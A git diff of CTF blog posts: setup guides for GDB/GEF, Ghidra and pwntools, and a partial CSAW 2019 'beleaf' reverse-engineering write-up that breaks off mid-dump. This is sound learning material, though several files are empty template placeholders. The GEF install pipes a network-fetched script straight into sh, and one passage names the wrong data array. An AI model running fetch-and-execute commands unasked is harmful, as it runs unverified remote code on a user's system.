add hacking blogposts as they are
BIN
0.png
Normal file
After Width: | Height: | Size: 24 KiB |
38
0/0.md
Normal file
|
@ -0,0 +1,38 @@
|
|||
# Binary Exploitation
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
BIN
0/1.png
Normal file
After Width: | Height: | Size: 176 KiB |
BIN
0/10.png
Normal file
After Width: | Height: | Size: 431 KiB |
BIN
0/11.png
Normal file
After Width: | Height: | Size: 504 KiB |
BIN
0/2.png
Normal file
After Width: | Height: | Size: 92 KiB |
BIN
0/3.png
Normal file
After Width: | Height: | Size: 155 KiB |
BIN
0/4.png
Normal file
After Width: | Height: | Size: 34 KiB |
BIN
0/5.png
Normal file
After Width: | Height: | Size: 293 KiB |
BIN
0/6.png
Normal file
After Width: | Height: | Size: 56 KiB |
BIN
0/7.png
Normal file
After Width: | Height: | Size: 130 KiB |
BIN
0/8.png
Normal file
After Width: | Height: | Size: 138 KiB |
BIN
0/9.png
Normal file
After Width: | Height: | Size: 36 KiB |
140
0/gdb.md
Normal file
|
@ -0,0 +1,140 @@
|
|||
# GDB + GEF
|
||||
|
||||
GDB, the GNU project debugger, allows you to see what is going on inside another program while it executes, or what said program was doing at the moment it crashed. GDB supports Ada, Assembly, C, C++, D, Frotan, Go, Objective-C, OpenCL, Modula-2, Pascal and Rust. For more information, click [here](https://www.gnu.org/software/gdb/).
|
||||
|
||||
However, GDB is very old school, so we will use GEF to enhance the usage of gdb, it is a set of commands for x86/64, ARM, MIPS,PowerPC and SPARC that provides additional features to GDB using the Python API to assist during the dynamic analysis and exploit development. For more information, click [here](https://github.com/hugsy/gef).
|
||||
|
||||
## Installation
|
||||
|
||||
To install gdb you can find it in most repositories of popular linux distributions:
|
||||
|
||||
|
||||
#Arch Linux:
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/15 ] [~]
|
||||
→ pacman -Ss gdb
|
||||
extra/gdb 10.1-4
|
||||
The GNU Debugger
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/15 ] [~]
|
||||
→ pacman -S gdb
|
||||
|
||||
|
||||
#Kali / Debian:
|
||||
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
|
||||
→ apt search gdb
|
||||
gdb/kali-rolling,now 10.1-1.7 amd64 [installed]
|
||||
GNU Debugger
|
||||
|
||||
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
|
||||
→ apt install gdb -y
|
||||
|
||||
|
||||
To install GEF we will follow the instructions from the main website:
|
||||
|
||||
|
||||
|
||||
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
|
||||
→ sh -c "$(wget http://gef.blah.cat/sh -O -)"
|
||||
--2021-02-21 16:20:00-- http://gef.blah.cat/sh
|
||||
Resolving gef.blah.cat (gef.blah.cat)... 40.121.232.30
|
||||
Connecting to gef.blah.cat (gef.blah.cat)|40.121.232.30|:80... connected.
|
||||
HTTP request sent, awaiting response... 301 Moved Permanently
|
||||
Location: https://github.com/hugsy/gef/raw/master/scripts/gef.sh [following]
|
||||
--2021-02-21 16:20:01-- https://github.com/hugsy/gef/raw/master/scripts/gef.sh
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/hugsy/gef/master/scripts/gef.sh [following]
|
||||
--2021-02-21 16:20:01-- https://raw.githubusercontent.com/hugsy/gef/master/scripts/gef.sh
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 565 [text/plain]
|
||||
Saving to: ‘STDOUT’
|
||||
|
||||
- 100%[=================================================================================================================================================================>] 565 --.-KB/s in 0s
|
||||
|
||||
2021-02-21 16:20:01 (49.8 MB/s) - written to stdout [565/565]
|
||||
|
||||
sh: 6: test: unexpected operator
|
||||
|
||||
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
|
||||
→ ls -lash ~/.gdbinit
|
||||
4.0K -rw-r--r-- 1 nothing nothing 58 Feb 21 16:20 /home/nothing/.gdbinit
|
||||
|
||||
|
||||
|
||||
Now when you try to launch gdb, you see that you are correctly launching gef:
|
||||
|
||||

|
||||
|
||||
If you get any errors as you launch gdb - gef for the first time, just run the required pip install commands:
|
||||
|
||||

|
||||
|
||||
|
||||
gef➤ q
|
||||
|
||||
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
|
||||
→ sudo apt install python3-pip -y
|
||||
|
||||
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
|
||||
→ pip3 install keystone-engine unicorn ropper
|
||||
Collecting keystone-engine
|
||||
Downloading keystone_engine-0.9.2-py2.py3-none-manylinux1_x86_64.whl (1.8 MB)
|
||||
|████████████████████████████████| 1.8 MB 2.3 MB/s
|
||||
Collecting unicorn
|
||||
Downloading unicorn-1.0.2-py2.py3-none-manylinux1_x86_64.whl (8.1 MB)
|
||||
|████████████████████████████████| 8.1 MB 6.3 MB/s
|
||||
Collecting ropper
|
||||
Downloading ropper-1.13.6.tar.gz (71 kB)
|
||||
|████████████████████████████████| 71 kB 2.2 MB/s
|
||||
Collecting filebytes>=0.10.0
|
||||
Downloading filebytes-0.10.2.tar.gz (20 kB)
|
||||
Building wheels for collected packages: ropper, filebytes
|
||||
Building wheel for ropper (setup.py) ... done
|
||||
Created wheel for ropper: filename=ropper-1.13.6-py3-none-any.whl size=99735 sha256=2f90a4e8a5b14f1c8c3abd0700b1e56ff8dbc7f3d165a5f69790c31cedd8948b
|
||||
Stored in directory: /home/nothing/.cache/pip/wheels/77/a4/5d/a4bc1b653bdcce30a17b5cdda8f19da11444bb8640d03ab678
|
||||
Building wheel for filebytes (setup.py) ... done
|
||||
Created wheel for filebytes: filename=filebytes-0.10.2-py3-none-any.whl size=27853 sha256=17cf4812a6b16ee7c92a4ba259326c61fbfab4cf3c05ace2cb627a0de892d27f
|
||||
Stored in directory: /home/nothing/.cache/pip/wheels/c2/51/58/98925d75705ee4df10da42a098d956183bb70661698fd07753
|
||||
Successfully built ropper filebytes
|
||||
Installing collected packages: keystone-engine, unicorn, filebytes, ropper
|
||||
WARNING: The script ropper is installed in '/home/nothing/.local/bin' which is not on PATH.
|
||||
Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
|
||||
Successfully installed filebytes-0.10.2 keystone-engine-0.9.2 ropper-1.13.6 unicorn-1.0.2
|
||||
|
||||
|
||||
|
||||
|
||||
Once you're here, you're good to go
|
||||
|
||||

|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
164
0/ghidra.md
Normal file
|
@ -0,0 +1,164 @@
|
|||
# Ghidra
|
||||
|
||||
Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features. Ghidra supports a wide variety of processor instruction sets and executable formats and can be run in both user-interactive and automated modes.
|
||||
|
||||
## Installation
|
||||
|
||||
To install Ghidra, we will follow the instructions listed [here](https://www.ghidra-sre.org/InstallationGuide.html)
|
||||
|
||||
First install java:
|
||||
|
||||
|
||||
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
|
||||
→ sudo apt update -y ; sudo apt upgrade -y ; sudo apt install default-jdk -y
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~]
|
||||
→ java -version
|
||||
openjdk version "11.0.10" 2021-01-19
|
||||
OpenJDK Runtime Environment (build 11.0.10+9-post-Debian-1)
|
||||
OpenJDK 64-Bit Server VM (build 11.0.10+9-post-Debian-1, mixed mode, sharing)
|
||||
|
||||
|
||||
|
||||
From here, just go to ghidra's main website to download the zip file:
|
||||
|
||||

|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra]
|
||||
→ wget https://www.ghidra-sre.org/ghidra_9.2.2_PUBLIC_20201229.zip
|
||||
--2021-02-21 23:10:29-- https://www.ghidra-sre.org/ghidra_9.2.2_PUBLIC_20201229.zip
|
||||
Resolving www.ghidra-sre.org (www.ghidra-sre.org)... 13.249.9.44, 13.249.9.83, 13.249.9.20, ...
|
||||
Connecting to www.ghidra-sre.org (www.ghidra-sre.org)|13.249.9.44|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 317805407 (303M) [application/zip]
|
||||
Saving to: ‘ghidra_9.2.2_PUBLIC_20201229.zip’
|
||||
|
||||
ghidra_9.2.2_PUBLIC_20201229.zip 100%[=======================================================================================================================================================================================================>] 303.08M 10.9MB/s in 29s
|
||||
|
||||
2021-02-21 23:10:58 (10.5 MB/s) - ‘ghidra_9.2.2_PUBLIC_20201229.zip’ saved [317805407/317805407]
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra]
|
||||
→ unzip ghidra_9.2.2_PUBLIC_20201229.zip
|
||||
|
||||
|
||||
Now from here, we need the ghidraRun binary to launch ghidra:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra]
|
||||
→ ls -l
|
||||
total 310368
|
||||
drwxr-xr-x 9 nothing nothing 4096 Dec 29 17:22 ghidra_9.2.2_PUBLIC
|
||||
-rw-r--r-- 1 nothing nothing 317805407 Jan 19 17:53 ghidra_9.2.2_PUBLIC_20201229.zip
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra]
|
||||
→ cd ghidra_9.2.2_PUBLIC
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
|
||||
→ ls
|
||||
docs Extensions Ghidra ghidraRun ghidraRun.bat GPL LICENSE licenses server support
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
|
||||
→ file ghidraRun
|
||||
ghidraRun: Bourne-Again shell script, ASCII text executable
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
|
||||
→ cat ghidraRun
|
||||
#!/usr/bin/env bash
|
||||
|
||||
#----------------------------------------
|
||||
# Ghidra launch
|
||||
#----------------------------------------
|
||||
|
||||
# Maximum heap memory may be changed if default is inadequate. This will generally be up to 1/4 of
|
||||
# the physical memory available to the OS. Uncomment MAXMEM setting if non-default value is needed.
|
||||
#MAXMEM=2G
|
||||
|
||||
# Resolve symbolic link if present and get the directory this script lives in.
|
||||
# NOTE: "readlink -f" is best but works on Linux only, "readlink" will only work if your PWD
|
||||
# contains the link you are calling (which is the best we can do on macOS), and the "echo" is the
|
||||
# fallback, which doesn't attempt to do anything with links.
|
||||
SCRIPT_FILE="$(readlink -f "$0" 2>/dev/null || readlink "$0" 2>/dev/null || echo "$0")"
|
||||
SCRIPT_DIR="${SCRIPT_FILE%/*}"
|
||||
|
||||
# Launch Ghidra
|
||||
"${SCRIPT_DIR}"/support/launch.sh bg Ghidra "${MAXMEM}" "" ghidra.GhidraRun "$@"
|
||||
|
||||
|
||||
To make it more convenient, i make a symlink to a folder in PATH:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
|
||||
→ echo $PATH
|
||||
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
|
||||
→ sudo ln -s $(pwd)/ghidraRun /usr/bin/ghidra
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
|
||||
→ ls -lash /usr/bin/ghidra
|
||||
0 lrwxrwxrwx 1 root root 56 Feb 21 23:19 /usr/bin/ghidra -> /home/nothing/Tools/ghidra/ghidra_9.2.2_PUBLIC/ghidraRun
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
|
||||
→ which ghidra
|
||||
/usr/bin/ghidra
|
||||
|
||||
|
||||
|
||||
From here you can just type ghidra in your terminal or in dmenu or rofi or whatever you want, it will open up ghidra for you:
|
||||
|
||||

|
||||
|
||||
Here you get a nice tutorial to let you know about ghidra's functionnalities, but you will want to create a new project and giving it a directory location:
|
||||
|
||||

|
||||
|
||||
Just to test, we're going to copy a random binary locally and import it
|
||||
|
||||

|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/3 ] [~/binexp]
|
||||
→ cp /bin/lspci .
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/3 ] [~/binexp]
|
||||
→ ls -lash lspci
|
||||
92K -rwxr-xr-x 1 nothing nothing 92K Feb 21 23:27 lspci
|
||||
|
||||
|
||||
|
||||
`   
|
||||
|
||||
And there you have it! You now have an imported a binary file to disassemble.
|
||||
|
||||
 ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
86
0/pwntools.md
Normal file
|
@ -0,0 +1,86 @@
|
|||
# Python Pwntools
|
||||
|
||||
Pwntools is a python ctf library designed for rapid exploit development. It helps us write exploits quickly, thanks to the functionnalities behind it. Pwntools has python2 and python3 versions, In this course we will use the python3 version since it is the most up to date.
|
||||
|
||||
## Installation
|
||||
|
||||
The installation is fairly simple. Make sure you have python3 and python3-pip installed on your system, then run the following:
|
||||
|
||||
|
||||
|
||||
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
|
||||
→ which python3 pip3
|
||||
/usr/bin/python3
|
||||
/usr/bin/pip3
|
||||
|
||||
|
||||
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
|
||||
→ sudo pip3 install pwn
|
||||
[sudo] password for nothing:
|
||||
|
||||
Collecting pwn
|
||||
Downloading pwn-1.0.tar.gz (1.1 kB)
|
||||
Collecting pwntools
|
||||
Downloading pwntools-4.3.1-py2.py3-none-any.whl (10.0 MB)
|
||||
|████████████████████████████████| 10.0 MB 12.3 MB/s
|
||||
Requirement already satisfied: six>=1.12.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (1.15.0)
|
||||
Requirement already satisfied: pyserial>=2.7 in /usr/lib/python3/dist-packages (from pwntools->pwn) (3.5b0)
|
||||
Requirement already satisfied: requests>=2.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.25.1)
|
||||
Requirement already satisfied: pygments>=2.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.7.1)
|
||||
Requirement already satisfied: intervaltree>=3.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (3.0.2)
|
||||
Requirement already satisfied: paramiko>=1.15.2 in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.7.2)
|
||||
Requirement already satisfied: sortedcontainers in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.1.0)
|
||||
Requirement already satisfied: python-dateutil in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.8.1)
|
||||
Requirement already satisfied: packaging in /usr/lib/python3/dist-packages (from pwntools->pwn) (20.8)
|
||||
Requirement already satisfied: pysocks in /usr/lib/python3/dist-packages (from pwntools->pwn) (1.7.1)
|
||||
Collecting unicorn<1.0.2rc4,>=1.0.2rc1
|
||||
Downloading unicorn-1.0.2rc3-py2.py3-none-manylinux1_x86_64.whl (8.1 MB)
|
||||
|████████████████████████████████| 8.1 MB 4.2 MB/s
|
||||
Requirement already satisfied: mako>=1.0.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (1.1.3)
|
||||
Requirement already satisfied: pip>=6.0.8 in /usr/lib/python3/dist-packages (from pwntools->pwn) (20.1.1)
|
||||
Collecting ropgadget>=5.3
|
||||
Downloading ROPGadget-6.5-py3-none-any.whl (31 kB)
|
||||
Requirement already satisfied: capstone>=3.0.5rc2 in /usr/lib/python3/dist-packages (from pwntools->pwn) (4.0.2)
|
||||
Requirement already satisfied: pyelftools>=0.2.4 in /usr/lib/python3/dist-packages (from pwntools->pwn) (0.27)
|
||||
Requirement already satisfied: psutil>=3.3.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (5.7.3)
|
||||
Building wheels for collected packages: pwn
|
||||
Building wheel for pwn (setup.py) ... done
|
||||
Created wheel for pwn: filename=pwn-1.0-py3-none-any.whl size=1220 sha256=35c1e3da705801680c0b2d0b440b1da8836bc2b32b4343d4aa751ffcf26abf78
|
||||
Stored in directory: /root/.cache/pip/wheels/34/a6/82/682ac94b58ae2e949908f11392d778574372a6cedc78b4b0a5
|
||||
Successfully built pwn
|
||||
Installing collected packages: unicorn, ropgadget, pwntools, pwn
|
||||
Successfully installed pwn-1.0 pwntools-4.3.1 ropgadget-6.5 unicorn-1.0.2rc3
|
||||
|
||||
|
||||
|
||||
If you want the full documentation on pwntools, click [here](https://docs.pwntools.com/en/stable/).
|
||||
|
||||
![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
84
1/0.md
Normal file
|
@ -0,0 +1,84 @@
|
|||
# Binary Exploitation
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
BIN
1/1.png
Normal file
After Width: | Height: | Size: 111 KiB |
BIN
1/2.png
Normal file
After Width: | Height: | Size: 303 KiB |
BIN
1/3.png
Normal file
After Width: | Height: | Size: 552 KiB |
BIN
1/4.png
Normal file
After Width: | Height: | Size: 780 KiB |
BIN
1/5.png
Normal file
After Width: | Height: | Size: 252 KiB |
BIN
1/6.png
Normal file
After Width: | Height: | Size: 759 KiB |
BIN
1/7.png
Normal file
After Width: | Height: | Size: 454 KiB |
402
1/beleaf.md
Normal file
|
@ -0,0 +1,402 @@
|
|||
# CSAW 2019 Beleaf
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/csaw19_beleaf/beleaf
|
||||
--2021-02-22 19:55:50-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/csaw19_beleaf/beleaf
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/csaw19_beleaf/beleaf [following]
|
||||
--2021-02-22 19:55:51-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/csaw19_beleaf/beleaf
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 7624 (7.4K) [application/octet-stream]
|
||||
Saving to: ‘beleaf’
|
||||
|
||||
beleaf 100%[===============================================================================>] 7.45K --.-KB/s in 0.01s
|
||||
|
||||
2021-02-22 19:55:51 (676 KB/s) - ‘beleaf’ saved [7624/7624]
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ file beleaf
|
||||
beleaf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6d305eed7c9bebbaa60b67403a6c6f2b36de3ca4, stripped
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ chmod +x beleaf
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
Now, first things first, we are going to use pwntools' pwn tool to check the security of the binary file itself.
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ pwn checksec beleaf
|
||||
[*] '/home/nothing/binexp/1/beleaf'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Full RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
|
||||
|
||||
|
||||
So we are dealing with a 64bit binary, that scans the input of the user and then checks it, very much like the previous challenge we solved, [helithumper](heli.html). So we're going to import the file into ghidra, and take a look at the main function
|
||||
|
||||

|
||||
|
||||
Here the main function is not called 'main' like in the previous challenge, to do so i had to look for the 'Enter the flag >>>" print statement which happened to be in the FUN_001008a1 function as you can see in the screenshot above. The code that ghidra gives us says that our text input is called 'local_98' and then later on the length of our text input is passed into sVar1
|
||||
|
||||
|
||||
undefined8 FUN_001008a1(void)
|
||||
|
||||
{
|
||||
size_t sVar1;
|
||||
long lVar2;
|
||||
long in_FS_OFFSET;
|
||||
ulong local_b0;
|
||||
char local_98 [136];
|
||||
long local_10;
|
||||
|
||||
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
printf("Enter the flag\n>>> ");
|
||||
__isoc99_scanf(&DAT;_00100a78,local_98);
|
||||
sVar1 = strlen(local_98);
|
||||
if (sVar1 < 0x21) {
|
||||
puts("Incorrect!");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(1);
|
||||
}
|
||||
local_b0 = 0;
|
||||
while (local_b0 < sVar1) {
|
||||
lVar2 = FUN_001007fa((int)local_98[local_b0]);
|
||||
if (lVar2 != *(long *)(&DAT;_003014e0 + local_b0 * 8)) {
|
||||
puts("Incorrect!");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(1);
|
||||
}
|
||||
local_b0 = local_b0 + 1;
|
||||
}
|
||||
puts("Correct!");
|
||||
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
__stack_chk_fail();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
now let's look at what we need to get the 'correct' output, first of all if our input LENGTH (sVar1) is less than 0x21 or 33 bytes, we will get 'incorrect', so we need at least 33 characters:
|
||||
|
||||
|
||||
if (sVar1 < 0x21) {
|
||||
puts("Incorrect!");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(1);
|
||||
|
||||
|
||||
Then we see that we enter a for loop (which is a while loop with a variable being incremented (here it is local_b0))
|
||||
|
||||
|
||||
while (local_b0 < sVar1) {
|
||||
lVar2 = FUN_001007fa((int)local_98[local_b0]);
|
||||
if (lVar2 != *(long *)(&DAT;_003014e0 + local_b0 * 8)) {
|
||||
puts("Incorrect!");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(1);
|
||||
}
|
||||
local_b0 = local_b0 + 1;
|
||||
}
|
||||
puts("Correct!");
|
||||
|
||||
|
||||
in this for loop, each character of our text input (local_98 at the index 0,1,2,3 ... 32) gets passed into the 'FUN_001007fa' function the result of that function gets passed to the if statement as 'lVar2' to get checked against a certain '&DAT;_003014e0' which is basically an array, the if statement checks for the characters at offsets of 8. So let's double click it to see what it is:
|
||||
|
||||
|
||||
DAT_003014e0 XREF[2]: FUN_001008a1:0010096b(*),
|
||||
FUN_001008a1:00100972(R)
|
||||
003014e0 01 ?? 01h
|
||||
|
||||
003014e1 00 ?? 00h
|
||||
003014e2 00 ?? 00h
|
||||
003014e3 00 ?? 00h
|
||||
003014e4 00 ?? 00h
|
||||
003014e5 00 ?? 00h
|
||||
003014e6 00 ?? 00h
|
||||
003014e7 00 ?? 00h
|
||||
003014e8 09 ?? 09h
|
||||
|
||||
003014e9 00 ?? 00h
|
||||
003014ea 00 ?? 00h
|
||||
003014eb 00 ?? 00h
|
||||
003014ec 00 ?? 00h
|
||||
003014ed 00 ?? 00h
|
||||
003014ee 00 ?? 00h
|
||||
003014ef 00 ?? 00h
|
||||
003014f0 11 ?? 11h
|
||||
|
||||
003014f1 00 ?? 00h
|
||||
003014f2 00 ?? 00h
|
||||
003014f3 00 ?? 00h
|
||||
003014f4 00 ?? 00h
|
||||
003014f5 00 ?? 00h
|
||||
003014f6 00 ?? 00h
|
||||
003014f7 00 ?? 00h
|
||||
003014f8 27 ?? 27h '
|
||||
|
||||
003014f9 00 ?? 00h
|
||||
003014fa 00 ?? 00h
|
||||
003014fb 00 ?? 00h
|
||||
003014fc 00 ?? 00h
|
||||
003014fd 00 ?? 00h
|
||||
003014fe 00 ?? 00h
|
||||
003014ff 00 ?? 00h
|
||||
00301500 02 ?? 02h
|
||||
|
||||
|
||||
|
||||
And here we see the bytes we need are at offsets of 8, so we have the following:
|
||||
|
||||
|
||||
0x1 0x9 0x11 0x27 0x2
|
||||
|
||||
|
||||
Now let's take a look at the 'FUN_001007fa' function that checks each of our input text characters:
|
||||
|
||||

|
||||
|
||||
|
||||
long FUN_001007fa(char param_1)
|
||||
|
||||
{
|
||||
long local_10;
|
||||
|
||||
local_10 = 0;
|
||||
while ((local_10 != -1 && ((int)param_1 != *(int *)(&DAT;_00301020 + local_10 * 4)))) {
|
||||
if ((int)param_1 < *(int *)(&DAT;_00301020 + local_10 * 4)) {
|
||||
local_10 = local_10 * 2 + 1;
|
||||
}
|
||||
else {
|
||||
if (*(int *)(&DAT;_00301020 + local_10 * 4) < (int)param_1) {
|
||||
local_10 = (local_10 + 1) * 2;
|
||||
}
|
||||
}
|
||||
}
|
||||
return local_10;
|
||||
}
|
||||
|
||||
|
||||
in here, each character of our input text gets passed as the param_1 charcater, and then the function basically looks at the 'DAT_003014e0' array with offsets of 4, the function tries to find at which index our input text characters are in this array, so let's see what is in that 'DAT_003014e0' array
|
||||
|
||||
|
||||
DAT_00301020 XREF[6]: FUN_001007fa:00100820(*),
|
||||
FUN_001007fa:00100827(R),
|
||||
FUN_001007fa:00100844(*),
|
||||
FUN_001007fa:0010084b(R),
|
||||
FUN_001007fa:00100873(*),
|
||||
FUN_001007fa:0010087a(R)
|
||||
00301020 77 ?? 77h w
|
||||
|
||||
00301021 00 ?? 00h
|
||||
00301022 00 ?? 00h
|
||||
00301023 00 ?? 00h
|
||||
00301024 66 ?? 66h f
|
||||
|
||||
00301025 00 ?? 00h
|
||||
00301026 00 ?? 00h
|
||||
00301027 00 ?? 00h
|
||||
00301028 7b ?? 7Bh {
|
||||
|
||||
00301029 00 ?? 00h
|
||||
0030102a 00 ?? 00h
|
||||
0030102b 00 ?? 00h
|
||||
0030102c 5f ?? 5Fh _
|
||||
|
||||
0030102d 00 ?? 00h
|
||||
0030102e 00 ?? 00h
|
||||
0030102f 00 ?? 00h
|
||||
00301030 6e ?? 6Eh n
|
||||
|
||||
00301031 00 ?? 00h
|
||||
00301032 00 ?? 00h
|
||||
00301033 00 ?? 00h
|
||||
00301034 79 ?? 79h y
|
||||
|
||||
00301035 00 ?? 00h
|
||||
00301036 00 ?? 00h
|
||||
00301037 00 ?? 00h
|
||||
00301038 7d ?? 7Dh }
|
||||
|
||||
00301039 00 ?? 00h
|
||||
0030103a 00 ?? 00h
|
||||
0030103b 00 ?? 00h
|
||||
0030103c ff ?? FFh
|
||||
0030103d ff ?? FFh
|
||||
0030103e ff ?? FFh
|
||||
